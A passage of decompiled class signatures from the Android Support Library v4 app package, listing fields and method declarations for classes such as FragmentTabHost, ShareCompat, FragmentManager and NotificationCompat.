public synchronized class FragmentTabHost extends android.widget.TabHost implements android.widget.TabHost$OnTabChangeListener {
    private final java.util.ArrayList mTabs;
    private android.widget.FrameLayout mRealTabContent;
    private android.content.Context mContext;
    private FragmentManager mFragmentManager;
    private int mContainerId;
    private android.widget.TabHost$OnTabChangeListener mOnTabChangeListener;
    private FragmentTabHost$TabInfo mLastTab;
    private boolean mAttached;
    public void FragmentTabHost(android.content.Context);
    public void FragmentTabHost(android.content.Context, android.util.AttributeSet);
    private void initFragmentTabHost(android.content.Context, android.util.AttributeSet);
    public void setup();
    public void setup(android.content.Context, FragmentManager);
    public void setup(android.content.Context, FragmentManager, int);
    private void ensureContent();
    public void setOnTabChangedListener(android.widget.TabHost$OnTabChangeListener);
    public void addTab(android.widget.TabHost$TabSpec, Class, android.os.Bundle);
    protected void onAttachedToWindow();
    protected void onDetachedFromWindow();
    protected android.os.Parcelable onSaveInstanceState();
    protected void onRestoreInstanceState(android.os.Parcelable);
    public void onTabChanged(String);
    private FragmentTransaction doTabChanged(String, FragmentTransaction);
}










android/support/v4/app/ShareCompat$ShareCompatImplBase.class


package android.support.v4.app;
synchronized class ShareCompat$ShareCompatImplBase implements ShareCompat$ShareCompatImpl {
    void ShareCompat$ShareCompatImplBase();
    public void configureMenuItem(android.view.MenuItem, ShareCompat$IntentBuilder);
    public String escapeHtml(CharSequence);
    private static void withinStyle(StringBuilder, CharSequence, int, int);
}










android/support/v4/app/ShareCompat$ShareCompatImplJB.class


package android.support.v4.app;
synchronized class ShareCompat$ShareCompatImplJB extends ShareCompat$ShareCompatImplICS {
    void ShareCompat$ShareCompatImplJB();
    public String escapeHtml(CharSequence);
    boolean shouldAddChooserIntent(android.view.MenuItem);
}










android/support/v4/app/ShareCompat.class


package android.support.v4.app;
public synchronized class ShareCompat {
    public static final String EXTRA_CALLING_PACKAGE = android.support.v4.app.EXTRA_CALLING_PACKAGE;
    public static final String EXTRA_CALLING_ACTIVITY = android.support.v4.app.EXTRA_CALLING_ACTIVITY;
    private static ShareCompat$ShareCompatImpl IMPL;
    public void ShareCompat();
    public static String getCallingPackage(android.app.Activity);
    public static android.content.ComponentName getCallingActivity(android.app.Activity);
    public static void configureMenuItem(android.view.MenuItem, ShareCompat$IntentBuilder);
    public static void configureMenuItem(android.view.Menu, int, ShareCompat$IntentBuilder);
    static void <clinit>();
}










android/support/v4/app/FragmentManager.class


package android.support.v4.app;
public abstract synchronized class FragmentManager {
    public static final int POP_BACK_STACK_INCLUSIVE = 1;
    public void FragmentManager();
    public abstract FragmentTransaction beginTransaction();
    public FragmentTransaction openTransaction();
    public abstract boolean executePendingTransactions();
    public abstract Fragment findFragmentById(int);
    public abstract Fragment findFragmentByTag(String);
    public abstract void popBackStack();
    public abstract boolean popBackStackImmediate();
    public abstract void popBackStack(String, int);
    public abstract boolean popBackStackImmediate(String, int);
    public abstract void popBackStack(int, int);
    public abstract boolean popBackStackImmediate(int, int);
    public abstract int getBackStackEntryCount();
    public abstract FragmentManager$BackStackEntry getBackStackEntryAt(int);
    public abstract void addOnBackStackChangedListener(FragmentManager$OnBackStackChangedListener);
    public abstract void removeOnBackStackChangedListener(FragmentManager$OnBackStackChangedListener);
    public abstract void putFragment(android.os.Bundle, String, Fragment);
    public abstract Fragment getFragment(android.os.Bundle, String);
    public abstract Fragment$SavedState saveFragmentInstanceState(Fragment);
    public abstract void dump(String, java.io.FileDescriptor, java.io.PrintWriter, String[]);
    public static void enableDebugLogging(boolean);
}










android/support/v4/app/Fragment$SavedState$1.class


package android.support.v4.app;
final synchronized class Fragment$SavedState$1 implements android.os.Parcelable$Creator {
    void Fragment$SavedState$1();
    public Fragment$SavedState createFromParcel(android.os.Parcel);
    public Fragment$SavedState[] newArray(int);
}










android/support/v4/app/LoaderManagerImpl$LoaderInfo.class


package android.support.v4.app;
final synchronized class LoaderManagerImpl$LoaderInfo implements android.support.v4.content.Loader$OnLoadCompleteListener {
    final int mId;
    final android.os.Bundle mArgs;
    LoaderManager$LoaderCallbacks mCallbacks;
    android.support.v4.content.Loader mLoader;
    boolean mHaveData;
    boolean mDeliveredData;
    Object mData;
    boolean mStarted;
    boolean mRetaining;
    boolean mRetainingStarted;
    boolean mReportNextStart;
    boolean mDestroyed;
    boolean mListenerRegistered;
    LoaderManagerImpl$LoaderInfo mPendingLoader;
    public void LoaderManagerImpl$LoaderInfo(LoaderManagerImpl, int, android.os.Bundle, LoaderManager$LoaderCallbacks);
    void start();
    void retain();
    void finishRetain();
    void reportStart();
    void stop();
    void destroy();
    public void onLoadComplete(android.support.v4.content.Loader, Object);
    void callOnLoadFinished(android.support.v4.content.Loader, Object);
    public String toString();
    public void dump(String, java.io.FileDescriptor, java.io.PrintWriter, String[]);
}










android/support/v4/app/FragmentActivity$1.class


package android.support.v4.app;
synchronized class FragmentActivity$1 extends android.os.Handler {
    void FragmentActivity$1(FragmentActivity);
    public void handleMessage(android.os.Message);
}










android/support/v4/app/FragmentTabHost$SavedState$1.class


package android.support.v4.app;
final synchronized class FragmentTabHost$SavedState$1 implements android.os.Parcelable$Creator {
    void FragmentTabHost$SavedState$1();
    public FragmentTabHost$SavedState createFromParcel(android.os.Parcel);
    public FragmentTabHost$SavedState[] newArray(int);
}










android/support/v4/app/TaskStackBuilderJellybean.class


package android.support.v4.app;
synchronized class TaskStackBuilderJellybean {
    void TaskStackBuilderJellybean();
    public static android.app.PendingIntent getActivitiesPendingIntent(android.content.Context, int, android.content.Intent[], int, android.os.Bundle);
}










android/support/v4/app/NavUtils$NavUtilsImplBase.class


package android.support.v4.app;
synchronized class NavUtils$NavUtilsImplBase implements NavUtils$NavUtilsImpl {
    void NavUtils$NavUtilsImplBase();
    public android.content.Intent getParentActivityIntent(android.app.Activity);
    public boolean shouldUpRecreateTask(android.app.Activity, android.content.Intent);
    public void navigateUpTo(android.app.Activity, android.content.Intent);
    public String getParentActivityName(android.content.Context, android.content.pm.ActivityInfo);
}










android/support/v4/app/FragmentManagerState$1.class


package android.support.v4.app;
final synchronized class FragmentManagerState$1 implements android.os.Parcelable$Creator {
    void FragmentManagerState$1();
    public FragmentManagerState createFromParcel(android.os.Parcel);
    public FragmentManagerState[] newArray(int);
}










android/support/v4/app/BackStackState$1.class


package android.support.v4.app;
final synchronized class BackStackState$1 implements android.os.Parcelable$Creator {
    void BackStackState$1();
    public BackStackState createFromParcel(android.os.Parcel);
    public BackStackState[] newArray(int);
}










android/support/v4/app/LoaderManager$LoaderCallbacks.class


package android.support.v4.app;
public abstract interface LoaderManager$LoaderCallbacks {
    public abstract android.support.v4.content.Loader onCreateLoader(int, android.os.Bundle);
    public abstract void onLoadFinished(android.support.v4.content.Loader, Object);
    public abstract void onLoaderReset(android.support.v4.content.Loader);
}










android/support/v4/app/ListFragment$2.class


package android.support.v4.app;
synchronized class ListFragment$2 implements android.widget.AdapterView$OnItemClickListener {
    void ListFragment$2(ListFragment);
    public void onItemClick(android.widget.AdapterView, android.view.View, int, long);
}










android/support/v4/app/BackStackRecord$Op.class


package android.support.v4.app;
final synchronized class BackStackRecord$Op {
    BackStackRecord$Op next;
    BackStackRecord$Op prev;
    int cmd;
    Fragment fragment;
    int enterAnim;
    int exitAnim;
    int popEnterAnim;
    int popExitAnim;
    java.util.ArrayList removed;
    void BackStackRecord$Op();
}










android/support/v4/app/TaskStackBuilderHoneycomb.class


package android.support.v4.app;
public synchronized class TaskStackBuilderHoneycomb {
    public void TaskStackBuilderHoneycomb();
    public static android.app.PendingIntent getActivitiesPendingIntent(android.content.Context, int, android.content.Intent[], int);
}










android/support/v4/app/NotificationCompat$NotificationCompatImplJellybean.class


package android.support.v4.app;
synchronized class NotificationCompat$NotificationCompatImplJellybean implements NotificationCompat$NotificationCompatImpl {
    void NotificationCompat$NotificationCompatImplJellybean();
    public android.app.Notification build(NotificationCompat$Builder);
}










android/support/v4/app/Fragment$1.class


package android.support.v4.app;
synchronized class Fragment$1 implements FragmentContainer {
    void Fragment$1(Fragment);
    public android.view.View findViewById(int);
}










android/support/v4/app/FragmentStatePagerAdapter.class


package android.support.v4.app;
public abstract synchronized class FragmentStatePagerAdapter extends android.support.v4.view.PagerAdapter {
    private static final String TAG = FragmentStatePagerAdapter;
    private static final boolean DEBUG = 0;
    private final FragmentManager mFragmentManager;
    private FragmentTransaction mCurTransaction;
    private java.util.ArrayList mSavedState;
    private java.util.ArrayList mFragments;
    private Fragment mCurrentPrimaryItem;
    public void FragmentStatePagerAdapter(FragmentManager);
    public abstract Fragment getItem(int);
    public void startUpdate(android.view.ViewGroup);
    public Object instantiateItem(android.view.ViewGroup, int);
    public void destroyItem(android.view.ViewGroup, int, Object);
    public void setPrimaryItem(android.view.ViewGroup, int, Object);
    public void finishUpdate(android.view.ViewGroup);
    public boolean isViewFromObject(android.view.View, Object);
    public android.os.Parcelable saveState();
    public void restoreState(android.os.Parcelable, ClassLoader);
}










android/support/v4/app/ShareCompatJB.class


package android.support.v4.app;
synchronized class ShareCompatJB {
    void ShareCompatJB();
    public static String escapeHtml(CharSequence);
}










android/support/v4/app/FragmentManagerImpl$2.class


package android.support.v4.app;
synchronized class FragmentManagerImpl$2 implements Runnable {
    void FragmentManagerImpl$2(FragmentManagerImpl);
    public void run();
}










android/support/v4/app/BackStackRecord.class


package android.support.v4.app;
final synchronized class BackStackRecord extends FragmentTransaction implements FragmentManager$BackStackEntry, Runnable {
    static final String TAG = FragmentManager;
    final FragmentManagerImpl mManager;
    static final int OP_NULL = 0;
    static final int OP_ADD = 1;
    static final int OP_REPLACE = 2;
    static final int OP_REMOVE = 3;
    static final int OP_HIDE = 4;
    static final int OP_SHOW = 5;
    static final int OP_DETACH = 6;
    static final int OP_ATTACH = 7;
    BackStackRecord$Op mHead;
    BackStackRecord$Op mTail;
    int mNumOp;
    int mEnterAnim;
    int mExitAnim;
    int mPopEnterAnim;
    int mPopExitAnim;
    int mTransition;
    int mTransitionStyle;
    boolean mAddToBackStack;
    boolean mAllowAddToBackStack;
    String mName;
    boolean mCommitted;
    int mIndex;
    int mBreadCrumbTitleRes;
    CharSequence mBreadCrumbTitleText;
    int mBreadCrumbShortTitleRes;
    CharSequence mBreadCrumbShortTitleText;
    public String toString();
    public void dump(String, java.io.FileDescriptor, java.io.PrintWriter, String[]);
    public void dump(String, java.io.PrintWriter, boolean);
    public void BackStackRecord(FragmentManagerImpl);
    public int getId();
    public int getBreadCrumbTitleRes();
    public int getBreadCrumbShortTitleRes();
    public CharSequence getBreadCrumbTitle();
    public CharSequence getBreadCrumbShortTitle();
    void addOp(BackStackRecord$Op);
    public FragmentTransaction add(Fragment, String);
    public FragmentTransaction add(int, Fragment);
    public FragmentTransaction add(int, Fragment, String);
    private void doAddOp(int, Fragment, String, int);
    public FragmentTransaction replace(int, Fragment);
    public FragmentTransaction replace(int, Fragment, String);
    public FragmentTransaction remove(Fragment);
    public FragmentTransaction hide(Fragment);
    public FragmentTransaction show(Fragment);
    public FragmentTransaction detach(Fragment);
    public FragmentTransaction attach(Fragment);
    public FragmentTransaction setCustomAnimations(int, int);
    public FragmentTransaction setCustomAnimations(int, int, int, int);
    public FragmentTransaction setTransition(int);
    public FragmentTransaction setTransitionStyle(int);
    public FragmentTransaction addToBackStack(String);
    public boolean isAddToBackStackAllowed();
    public FragmentTransaction disallowAddToBackStack();
    public FragmentTransaction setBreadCrumbTitle(int);
    public FragmentTransaction setBreadCrumbTitle(CharSequence);
    public FragmentTransaction setBreadCrumbShortTitle(int);
    public FragmentTransaction setBreadCrumbShortTitle(CharSequence);
    void bumpBackStackNesting(int);
    public int commit();
    public int commitAllowingStateLoss();
    int commitInternal(boolean);
    public void run();
    public void popFromBackStack(boolean);
    public String getName();
    public int getTransition();
    public int getTransitionStyle();
    public boolean isEmpty();
}










android/support/v4/app/FragmentManagerImpl$3.class


package android.support.v4.app;
synchronized class FragmentManagerImpl$3 implements Runnable {
    void FragmentManagerImpl$3(FragmentManagerImpl, String, int);
    public void run();
}










android/support/v4/app/FragmentActivity$FragmentTag.class


package android.support.v4.app;
synchronized class FragmentActivity$FragmentTag {
    public static final int[] Fragment;
    public static final int Fragment_id = 1;
    public static final int Fragment_name = 0;
    public static final int Fragment_tag = 2;
    void FragmentActivity$FragmentTag();
    static void <clinit>();
}










android/support/v4/app/NotificationCompat$Style.class


package android.support.v4.app;
public abstract synchronized class NotificationCompat$Style {
    NotificationCompat$Builder mBuilder;
    CharSequence mBigContentTitle;
    CharSequence mSummaryText;
    boolean mSummaryTextSet;
    public void NotificationCompat$Style();
    public void setBuilder(NotificationCompat$Builder);
    public android.app.Notification build();
}










android/support/v4/app/TaskStackBuilder$TaskStackBuilderImplHoneycomb.class


package android.support.v4.app;
synchronized class TaskStackBuilder$TaskStackBuilderImplHoneycomb implements TaskStackBuilder$TaskStackBuilderImpl {
    void TaskStackBuilder$TaskStackBuilderImplHoneycomb();
    public android.app.PendingIntent getPendingIntent(android.content.Context, android.content.Intent[], int, int, android.os.Bundle);
}










android/support/v4/app/FragmentActivity$2.class


package android.support.v4.app;
synchronized class FragmentActivity$2 implements FragmentContainer {
    void FragmentActivity$2(FragmentActivity);
    public android.view.View findViewById(int);
}










android/support/v4/app/NotificationCompat$Action.class


package android.support.v4.app;
public synchronized class NotificationCompat$Action {
    public int icon;
    public CharSequence title;
    public android.app.PendingIntent actionIntent;
    public void NotificationCompat$Action(int, CharSequence, android.app.PendingIntent);
}










android/support/v4/app/ShareCompat$IntentReader.class


package android.support.v4.app;
public synchronized class ShareCompat$IntentReader {
    private static final String TAG = IntentReader;
    private android.app.Activity mActivity;
    private android.content.Intent mIntent;
    private String mCallingPackage;
    private android.content.ComponentName mCallingActivity;
    private java.util.ArrayList mStreams;
    public static ShareCompat$IntentReader from(android.app.Activity);
    private void ShareCompat$IntentReader(android.app.Activity);
    public boolean isShareIntent();
    public boolean isSingleShare();
    public boolean isMultipleShare();
    public String getType();
    public CharSequence getText();
    public String getHtmlText();
    public android.net.Uri getStream();
    public android.net.Uri getStream(int);
    public int getStreamCount();
    public String[] getEmailTo();
    public String[] getEmailCc();
    public String[] getEmailBcc();
    public String getSubject();
    public String getCallingPackage();
    public android.content.ComponentName getCallingActivity();
    public android.graphics.drawable.Drawable getCallingActivityIcon();
    public android.graphics.drawable.Drawable getCallingApplicationIcon();
    public CharSequence getCallingApplicationLabel();
}










android/support/v4/app/BackStackState.class


package android.support.v4.app;
final synchronized class BackStackState implements android.os.Parcelable {
    final int[] mOps;
    final int mTransition;
    final int mTransitionStyle;
    final String mName;
    final int mIndex;
    final int mBreadCrumbTitleRes;
    final CharSequence mBreadCrumbTitleText;
    final int mBreadCrumbShortTitleRes;
    final CharSequence mBreadCrumbShortTitleText;
    public static final android.os.Parcelable$Creator CREATOR;
    public void BackStackState(FragmentManagerImpl, BackStackRecord);
    public void BackStackState(android.os.Parcel);
    public BackStackRecord instantiate(FragmentManagerImpl);
    public int describeContents();
    public void writeToParcel(android.os.Parcel, int);
    static void <clinit>();
}










android/support/v4/app/NotificationCompat$NotificationCompatImplIceCreamSandwich.class


package android.support.v4.app;
synchronized class NotificationCompat$NotificationCompatImplIceCreamSandwich implements NotificationCompat$NotificationCompatImpl {
    void NotificationCompat$NotificationCompatImplIceCreamSandwich();
    public android.app.Notification build(NotificationCompat$Builder);
}










android/support/v4/app/TaskStackBuilder$TaskStackBuilderImpl.class


package android.support.v4.app;
abstract interface TaskStackBuilder$TaskStackBuilderImpl {
    public abstract android.app.PendingIntent getPendingIntent(android.content.Context, android.content.Intent[], int, int, android.os.Bundle);
}










android/support/v4/app/NotificationCompatHoneycomb.class


package android.support.v4.app;
synchronized class NotificationCompatHoneycomb {
    void NotificationCompatHoneycomb();
    static android.app.Notification add(android.content.Context, android.app.Notification, CharSequence, CharSequence, CharSequence, android.widget.RemoteViews, int, android.app.PendingIntent, android.app.PendingIntent, android.graphics.Bitmap);
}










android/support/v4/app/DialogFragment.class


package android.support.v4.app;
public synchronized class DialogFragment extends Fragment implements android.content.DialogInterface$OnCancelListener, android.content.DialogInterface$OnDismissListener {
    public static final int STYLE_NORMAL = 0;
    public static final int STYLE_NO_TITLE = 1;
    public static final int STYLE_NO_FRAME = 2;
    public static final int STYLE_NO_INPUT = 3;
    private static final String SAVED_DIALOG_STATE_TAG = android:savedDialogState;
    private static final String SAVED_STYLE = android:style;
    private static final String SAVED_THEME = android:theme;
    private static final String SAVED_CANCELABLE = android:cancelable;
    private static final String SAVED_SHOWS_DIALOG = android:showsDialog;
    private static final String SAVED_BACK_STACK_ID = android:backStackId;
    int mStyle;
    int mTheme;
    boolean mCancelable;
    boolean mShowsDialog;
    int mBackStackId;
    android.app.Dialog mDialog;
    boolean mViewDestroyed;
    boolean mDismissed;
    boolean mShownByMe;
    public void DialogFragment();
    public void setStyle(int, int);
    public void show(FragmentManager, String);
    public int show(FragmentTransaction, String);
    public void dismiss();
    public void dismissAllowingStateLoss();
    void dismissInternal(boolean);
    public android.app.Dialog getDialog();
    public int getTheme();
    public void setCancelable(boolean);
    public boolean isCancelable();
    public void setShowsDialog(boolean);
    public boolean getShowsDialog();
    public void onAttach(android.app.Activity);
    public void onDetach();
    public void onCreate(android.os.Bundle);
    public android.view.LayoutInflater getLayoutInflater(android.os.Bundle);
    public android.app.Dialog onCreateDialog(android.os.Bundle);
    public void onCancel(android.content.DialogInterface);
    public void onDismiss(android.content.DialogInterface);
    public void onActivityCreated(android.os.Bundle);
    public void onStart();
    public void onSaveInstanceState(android.os.Bundle);
    public void onStop();
    public void onDestroyView();
}










android/support/v4/app/LoaderManagerImpl.class


package android.support.v4.app;
synchronized class LoaderManagerImpl extends LoaderManager {
    static final String TAG = LoaderManager;
    static boolean DEBUG;
    final android.support.v4.util.SparseArrayCompat mLoaders;
    final android.support.v4.util.SparseArrayCompat mInactiveLoaders;
    final String mWho;
    FragmentActivity mActivity;
    boolean mStarted;
    boolean mRetaining;
    boolean mRetainingStarted;
    boolean mCreatingLoader;
    void LoaderManagerImpl(String, FragmentActivity, boolean);
    void updateActivity(FragmentActivity);
    private LoaderManagerImpl$LoaderInfo createLoader(int, android.os.Bundle, LoaderManager$LoaderCallbacks);
    private LoaderManagerImpl$LoaderInfo createAndInstallLoader(int, android.os.Bundle, LoaderManager$LoaderCallbacks);
    void installLoader(LoaderManagerImpl$LoaderInfo);
    public android.support.v4.content.Loader initLoader(int, android.os.Bundle, LoaderManager$LoaderCallbacks);
    public android.support.v4.content.Loader restartLoader(int, android.os.Bundle, LoaderManager$LoaderCallbacks);
    public void destroyLoader(int);
    public android.support.v4.content.Loader getLoader(int);
    void doStart();
    void doStop();
    void doRetain();
    void finishRetain();
    void doReportNextStart();
    void doReportStart();
    void doDestroy();
    public String toString();
    public void dump(String, java.io.FileDescriptor, java.io.PrintWriter, String[]);
    public boolean hasRunningLoaders();
    static void <clinit>();
}










android/support/v4/app/ListFragment.class


package android.support.v4.app;
public synchronized class ListFragment extends Fragment {
    static final int INTERNAL_EMPTY_ID = 16711681;
    static final int INTERNAL_PROGRESS_CONTAINER_ID = 16711682;
    static final int INTERNAL_LIST_CONTAINER_ID = 16711683;
    private final android.os.Handler mHandler;
    private final Runnable mRequestFocus;
    private final android.widget.AdapterView$OnItemClickListener mOnClickListener;
    android.widget.ListAdapter mAdapter;
    android.widget.ListView mList;
    android.view.View mEmptyView;
    android.widget.TextView mStandardEmptyView;
    android.view.View mProgressContainer;
    android.view.View mListContainer;
    CharSequence mEmptyText;
    boolean mListShown;
    public void ListFragment();
    public android.view.View onCreateView(android.view.LayoutInflater, android.view.ViewGroup, android.os.Bundle);
    public void onViewCreated(android.view.View, android.os.Bundle);
    public void onDestroyView();
    public void onListItemClick(android.widget.ListView, android.view.View, int, long);
    public void setListAdapter(android.widget.ListAdapter);
    public void setSelection(int);
    public int getSelectedItemPosition();
    public long getSelectedItemId();
    public android.widget.ListView getListView();
    public void setEmptyText(CharSequence);
    public void setListShown(boolean);
    public void setListShownNoAnimation(boolean);
    private void setListShown(boolean, boolean);
    public android.widget.ListAdapter getListAdapter();
    private void ensureList();
}










android/support/v4/app/FragmentState.class


package android.support.v4.app;
final synchronized class FragmentState implements android.os.Parcelable {
    final String mClassName;
    final int mIndex;
    final boolean mFromLayout;
    final int mFragmentId;
    final int mContainerId;
    final String mTag;
    final boolean mRetainInstance;
    final boolean mDetached;
    final android.os.Bundle mArguments;
    android.os.Bundle mSavedFragmentState;
    Fragment mInstance;
    public static final android.os.Parcelable$Creator CREATOR;
    public void FragmentState(Fragment);
    public void FragmentState(android.os.Parcel);
    public Fragment instantiate(FragmentActivity, Fragment);
    public int describeContents();
    public void writeToParcel(android.os.Parcel, int);
    static void <clinit>();
}










android/support/v4/app/FragmentManager$BackStackEntry.class


package android.support.v4.app;
public abstract interface FragmentManager$BackStackEntry {
    public abstract int getId();
    public abstract String getName();
    public abstract int getBreadCrumbTitleRes();
    public abstract int getBreadCrumbShortTitleRes();
    public abstract CharSequence getBreadCrumbTitle();
    public abstract CharSequence getBreadCrumbShortTitle();
}










android/support/v4/app/FragmentTransaction.class


package android.support.v4.app;
public abstract synchronized class FragmentTransaction {
    public static final int TRANSIT_ENTER_MASK = 4096;
    public static final int TRANSIT_EXIT_MASK = 8192;
    public static final int TRANSIT_UNSET = -1;
    public static final int TRANSIT_NONE = 0;
    public static final int TRANSIT_FRAGMENT_OPEN = 4097;
    public static final int TRANSIT_FRAGMENT_CLOSE = 8194;
    public static final int TRANSIT_FRAGMENT_FADE = 4099;
    public void FragmentTransaction();
    public abstract FragmentTransaction add(Fragment, String);
    public abstract FragmentTransaction add(int, Fragment);
    public abstract FragmentTransaction add(int, Fragment, String);
    public abstract FragmentTransaction replace(int, Fragment);
    public abstract FragmentTransaction replace(int, Fragment, String);
    public abstract FragmentTransaction remove(Fragment);
    public abstract FragmentTransaction hide(Fragment);
    public abstract FragmentTransaction show(Fragment);
    public abstract FragmentTransaction detach(Fragment);
    public abstract FragmentTransaction attach(Fragment);
    public abstract boolean isEmpty();
    public abstract FragmentTransaction setCustomAnimations(int, int);
    public abstract FragmentTransaction setCustomAnimations(int, int, int, int);
    public abstract FragmentTransaction setTransition(int);
    public abstract FragmentTransaction setTransitionStyle(int);
    public abstract FragmentTransaction addToBackStack(String);
    public abstract boolean isAddToBackStackAllowed();
    public abstract FragmentTransaction disallowAddToBackStack();
    public abstract FragmentTransaction setBreadCrumbTitle(int);
    public abstract FragmentTransaction setBreadCrumbTitle(CharSequence);
    public abstract FragmentTransaction setBreadCrumbShortTitle(int);
    public abstract FragmentTransaction setBreadCrumbShortTitle(CharSequence);
    public abstract int commit();
    public abstract int commitAllowingStateLoss();
}










android/support/v4/app/NotificationCompat$NotificationCompatImplHoneycomb.class


package android.support.v4.app;
synchronized class NotificationCompat$NotificationCompatImplHoneycomb implements NotificationCompat$NotificationCompatImpl {
    void NotificationCompat$NotificationCompatImplHoneycomb();
    public android.app.Notification build(NotificationCompat$Builder);
}










android/support/v4/app/NoSaveStateFrameLayout.class


package android.support.v4.app;
synchronized class NoSaveStateFrameLayout extends android.widget.FrameLayout {
    static android.view.ViewGroup wrap(android.view.View);
    public void NoSaveStateFrameLayout(android.content.Context);
    protected void dispatchSaveInstanceState(android.util.SparseArray);
    protected void dispatchRestoreInstanceState(android.util.SparseArray);
}










android/support/v4/app/NavUtils$NavUtilsImpl.class


package android.support.v4.app;
abstract interface NavUtils$NavUtilsImpl {
    public abstract android.content.Intent getParentActivityIntent(android.app.Activity);
    public abstract boolean shouldUpRecreateTask(android.app.Activity, android.content.Intent);
    public abstract void navigateUpTo(android.app.Activity, android.content.Intent);
    public abstract String getParentActivityName(android.content.Context, android.content.pm.ActivityInfo);
}










android/support/v4/app/ShareCompat$IntentBuilder.class


package android.support.v4.app;
public synchronized class ShareCompat$IntentBuilder {
    private android.app.Activity mActivity;
    private android.content.Intent mIntent;
    private CharSequence mChooserTitle;
    private java.util.ArrayList mToAddresses;
    private java.util.ArrayList mCcAddresses;
    private java.util.ArrayList mBccAddresses;
    private java.util.ArrayList mStreams;
    public static ShareCompat$IntentBuilder from(android.app.Activity);
    private void ShareCompat$IntentBuilder(android.app.Activity);
    public android.content.Intent getIntent();
    android.app.Activity getActivity();
    private void combineArrayExtra(String, java.util.ArrayList);
    private void combineArrayExtra(String, String[]);
    public android.content.Intent createChooserIntent();
    public void startChooser();
    public ShareCompat$IntentBuilder setChooserTitle(CharSequence);
    public ShareCompat$IntentBuilder setChooserTitle(int);
    public ShareCompat$IntentBuilder setType(String);
    public ShareCompat$IntentBuilder setText(CharSequence);
    public ShareCompat$IntentBuilder setHtmlText(String);
    public ShareCompat$IntentBuilder setStream(android.net.Uri);
    public ShareCompat$IntentBuilder addStream(android.net.Uri);
    public ShareCompat$IntentBuilder setEmailTo(String[]);
    public ShareCompat$IntentBuilder addEmailTo(String);
    public ShareCompat$IntentBuilder addEmailTo(String[]);
    public ShareCompat$IntentBuilder setEmailCc(String[]);
    public ShareCompat$IntentBuilder addEmailCc(String);
    public ShareCompat$IntentBuilder addEmailCc(String[]);
    public ShareCompat$IntentBuilder setEmailBcc(String[]);
    public ShareCompat$IntentBuilder addEmailBcc(String);
    public ShareCompat$IntentBuilder addEmailBcc(String[]);
    public ShareCompat$IntentBuilder setSubject(String);
}










android/support/v4/app/ShareCompat$ShareCompatImplICS.class


package android.support.v4.app;
synchronized class ShareCompat$ShareCompatImplICS extends ShareCompat$ShareCompatImplBase {
    void ShareCompat$ShareCompatImplICS();
    public void configureMenuItem(android.view.MenuItem, ShareCompat$IntentBuilder);
    boolean shouldAddChooserIntent(android.view.MenuItem);
}










android/support/v4/app/ActivityCompat.class


package android.support.v4.app;
public synchronized class ActivityCompat extends android.support.v4.content.ContextCompat {
    public void ActivityCompat();
    public static boolean invalidateOptionsMenu(android.app.Activity);
}










android/support/v4/app/FragmentActivity$NonConfigurationInstances.class


package android.support.v4.app;
final synchronized class FragmentActivity$NonConfigurationInstances {
    Object activity;
    Object custom;
    java.util.HashMap children;
    java.util.ArrayList fragments;
    java.util.HashMap loaders;
    void FragmentActivity$NonConfigurationInstances();
}










android/support/v4/app/FragmentTabHost$1.class


package android.support.v4.app;
synchronized class FragmentTabHost$1 {
}










android/support/v4/app/FragmentTabHost$TabInfo.class


package android.support.v4.app;
final synchronized class FragmentTabHost$TabInfo {
    private final String tag;
    private final Class clss;
    private final android.os.Bundle args;
    private Fragment fragment;
    void FragmentTabHost$TabInfo(String, Class, android.os.Bundle);
}










android/support/v4/app/FragmentActivity.class


package android.support.v4.app;
public synchronized class FragmentActivity extends android.app.Activity {
    private static final String TAG = FragmentActivity;
    static final String FRAGMENTS_TAG = android:support:fragments;
    private static final int HONEYCOMB = 11;
    static final int MSG_REALLY_STOPPED = 1;
    static final int MSG_RESUME_PENDING = 2;
    final android.os.Handler mHandler;
    final FragmentManagerImpl mFragments;
    final FragmentContainer mContainer;
    boolean mCreated;
    boolean mResumed;
    boolean mStopped;
    boolean mReallyStopped;
    boolean mRetaining;
    boolean mOptionsMenuInvalidated;
    boolean mCheckedForLoaderManager;
    boolean mLoadersStarted;
    java.util.HashMap mAllLoaderManagers;
    LoaderManagerImpl mLoaderManager;
    public void FragmentActivity();
    protected void onActivityResult(int, int, android.content.Intent);
    public void onBackPressed();
    public void onConfigurationChanged(android.content.res.Configuration);
    protected void onCreate(android.os.Bundle);
    public boolean onCreatePanelMenu(int, android.view.Menu);
    public android.view.View onCreateView(String, android.content.Context, android.util.AttributeSet);
    protected void onDestroy();
    public boolean onKeyDown(int, android.view.KeyEvent);
    public void onLowMemory();
    public boolean onMenuItemSelected(int, android.view.MenuItem);
    public void onPanelClosed(int, android.view.Menu);
    protected void onPause();
    protected void onNewIntent(android.content.Intent);
    protected void onResume();
    protected void onPostResume();
    protected void onResumeFragments();
    public boolean onPreparePanel(int, android.view.View, android.view.Menu);
    public final Object onRetainNonConfigurationInstance();
    protected void onSaveInstanceState(android.os.Bundle);
    protected void onStart();
    protected void onStop();
    public Object onRetainCustomNonConfigurationInstance();
    public Object getLastCustomNonConfigurationInstance();
    public void supportInvalidateOptionsMenu();
    public void dump(String, java.io.FileDescriptor, java.io.PrintWriter, String[]);
    private static String viewToString(android.view.View);
    private void dumpViewHierarchy(String, java.io.PrintWriter, android.view.View);
    void doReallyStop(boolean);
    void onReallyStop();
    public void onAttachFragment(Fragment);
    public FragmentManager getSupportFragmentManager();
    public void startActivityForResult(android.content.Intent, int);
    public void startActivityFromFragment(Fragment, android.content.Intent, int);
    void invalidateSupportFragment(String);
    public LoaderManager getSupportLoaderManager();
    LoaderManagerImpl getLoaderManager(String, boolean, boolean);
}










android/support/v4/app/NotificationCompatIceCreamSandwich.class


package android.support.v4.app;
synchronized class NotificationCompatIceCreamSandwich {
    void NotificationCompatIceCreamSandwich();
    static android.app.Notification add(android.content.Context, android.app.Notification, CharSequence, CharSequence, CharSequence, android.widget.RemoteViews, int, android.app.PendingIntent, android.app.PendingIntent, android.graphics.Bitmap, int, int, boolean);
}










android/support/v4/app/SuperNotCalledException.class


package android.support.v4.app;
final synchronized class SuperNotCalledException extends android.util.AndroidRuntimeException {
    public void SuperNotCalledException(String);
}










android/support/v4/app/FragmentManagerImpl$1.class


package android.support.v4.app;
synchronized class FragmentManagerImpl$1 implements Runnable {
    void FragmentManagerImpl$1(FragmentManagerImpl);
    public void run();
}










android/support/v4/app/ActivityCompatHoneycomb.class


package android.support.v4.app;
synchronized class ActivityCompatHoneycomb {
    void ActivityCompatHoneycomb();
    static void invalidateOptionsMenu(android.app.Activity);
    static void dump(android.app.Activity, String, java.io.FileDescriptor, java.io.PrintWriter, String[]);
}










android/support/v4/app/TaskStackBuilder$TaskStackBuilderImplBase.class


